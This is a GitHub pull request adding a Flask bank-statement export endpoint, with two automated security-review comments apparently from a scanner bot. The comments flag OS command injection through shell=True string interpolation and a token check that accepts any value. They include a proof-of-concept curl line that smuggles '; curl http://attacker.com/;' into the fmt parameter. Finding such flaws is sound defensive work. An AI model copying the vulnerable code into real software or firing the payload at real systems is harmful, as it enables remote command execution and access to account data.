Skip to content

Add statement export endpoint#3

Open
alan-hacktron wants to merge 1 commit into
mainfrom
feat/statement-export
Open

Add statement export endpoint#3
alan-hacktron wants to merge 1 commit into
mainfrom
feat/statement-export

Conversation

@alan-hacktron

Copy link
Copy Markdown
Owner

Adds a bank statement export endpoint that generates PDF/CSV statements for a given account.

The endpoint calls an external PDF generator to render statement templates.

@hacktron-app-stg hacktron-app-stg Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

2 issues found across 1 file

Severity Count
CRITICAL 2

View full scan results

Comment thread statement.py
Comment on lines +19 to +24
def export_statement(current_user, account_id):
fmt = request.args.get("fmt", "pdf")
output_path = f"/tmp/{account_id}.{fmt}"
cmd = f"pdfgen --template statements/{account_id}.json -t {fmt} -o {output_path}"
subprocess.run(cmd, shell=True, check=False)
return jsonify({"path": output_path})

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

CRITICAL OS Command Injection in export_statement via Unsanitized Parameters in subprocess.run

The export_statement route in web789/statement.py is vulnerable to OS command injection. The endpoint accepts a path parameter account_id and a query parameter fmt, both of which are directly interpolated into a command string cmd that is executed via subprocess.run(..., shell=True). Because the inputs are not sanitized, validated, or restricted to safe characters, an attacker can inject shell metacharacters (such as ;, &, |, or $()) into either parameter to execute arbitrary shell commands under the privileges of the Flask application process. The authentication can be bypassed by providing any token.

Steps to Reproduce
curl -H "Authorization: Bearer bypass" "http://target-app:5000/api/statement/123?fmt=%3B+curl+http%3A%2F%2Fattacker.com%2F%3B"
Fix with AI

Open in Cursor Open in Claude

A security vulnerability was found by Hacktron.

File: statement.py
Lines: 19-24
Severity: critical

Vulnerability: OS Command Injection in export_statement via Unsanitized Parameters in subprocess.run

Description:
The `export_statement` route in `web789/statement.py` is vulnerable to OS command injection. The endpoint accepts a path parameter `account_id` and a query parameter `fmt`, both of which are directly interpolated into a command string `cmd` that is executed via `subprocess.run(..., shell=True)`. Because the inputs are not sanitized, validated, or restricted to safe characters, an attacker can inject shell metacharacters (such as `;`, `&`, `|`, or `$()`) into either parameter to execute arbitrary shell commands under the privileges of the Flask application process. The authentication can be bypassed by providing any token.

Proof of Concept:
```bash
curl -H "Authorization: Bearer bypass" "http://target-app:5000/api/statement/123?fmt=%3B+curl+http%3A%2F%2Fattacker.com%2F%3B"
```

Affected Code:
    @app.route("/api/statement/<account_id>", methods=["GET"])
    @token_required
    def export_statement(current_user, account_id):
        fmt = request.args.get("fmt", "pdf")
        output_path = f"/tmp/{account_id}.{fmt}"
        cmd = f"pdfgen --template statements/{account_id}.json -t {fmt} -o {output_path}"
        subprocess.run(cmd, shell=True, check=False)

Acceptance criteria:
- Acceptance is defined by the **actual reported behavior**, not by tests passing.
- Reproduce the issue, or narrow the exact code path that produces it, *before* changing code. State what you confirmed.
- Fix the underlying cause. Mitigations that paper over the reported behavior do not count as a fix.
- Add a regression test that fails on the unpatched code and passes on the fix. If a regression test is genuinely impractical (e.g. race condition, infra-level issue), say so and explain why.
- Existing tests passing is **not** the bar. Do not declare done on tests-pass theatre.

Only change what is necessary to fix this vulnerability. Do not refactor adjacent code or modify unrelated files.

Triage: Reply !fp <reason> (false positive), !valid (confirmed), or !accepted_risk <reason>. Any other reply is saved as a triage note.
Reason is optional but improves future scans — e.g. !fp internal endpoint, not user-facing.

View finding in Hacktron

Comment thread statement.py
Comment on lines +6 to +13
def token_required(f):
@wraps(f)
def decorated(*args, **kwargs):
token = request.headers.get("Authorization", "").replace("Bearer ", "")
if not token:
return jsonify({"error": "Token missing"}), 401
return f({"user_id": 1}, *args, **kwargs)
return decorated

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

CRITICAL Broken Authentication in token_required Decorator

The token_required decorator in statement.py only checks for the presence of an Authorization header, but it does not perform any validation of the token itself. Any request with a non-empty Authorization header is granted access as user_id: 1. This allows any unauthenticated user to bypass authentication and act as a valid user.

Steps to Reproduce
Send a request to `/api/statement/1` with any value in the `Authorization` header (e.g., `Authorization: Bearer any_value`). The request will be accepted.
Fix with AI

Open in Cursor Open in Claude

A security vulnerability was found by Hacktron.

File: statement.py
Lines: 6-13
Severity: critical

Vulnerability: Broken Authentication in token_required Decorator

Description:
The `token_required` decorator in `statement.py` only checks for the presence of an `Authorization` header, but it does not perform any validation of the token itself. Any request with a non-empty `Authorization` header is granted access as `user_id: 1`. This allows any unauthenticated user to bypass authentication and act as a valid user.

Proof of Concept:
Send a request to `/api/statement/1` with any value in the `Authorization` header (e.g., `Authorization: Bearer any_value`). The request will be accepted.

Acceptance criteria:
- Acceptance is defined by the **actual reported behavior**, not by tests passing.
- Reproduce the issue, or narrow the exact code path that produces it, *before* changing code. State what you confirmed.
- Fix the underlying cause. Mitigations that paper over the reported behavior do not count as a fix.
- Add a regression test that fails on the unpatched code and passes on the fix. If a regression test is genuinely impractical (e.g. race condition, infra-level issue), say so and explain why.
- Existing tests passing is **not** the bar. Do not declare done on tests-pass theatre.

Only change what is necessary to fix this vulnerability. Do not refactor adjacent code or modify unrelated files.

Triage: Reply !fp <reason> (false positive), !valid (confirmed), or !accepted_risk <reason>. Any other reply is saved as a triage note.
Reason is optional but improves future scans — e.g. !fp internal endpoint, not user-facing.

View finding in Hacktron

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant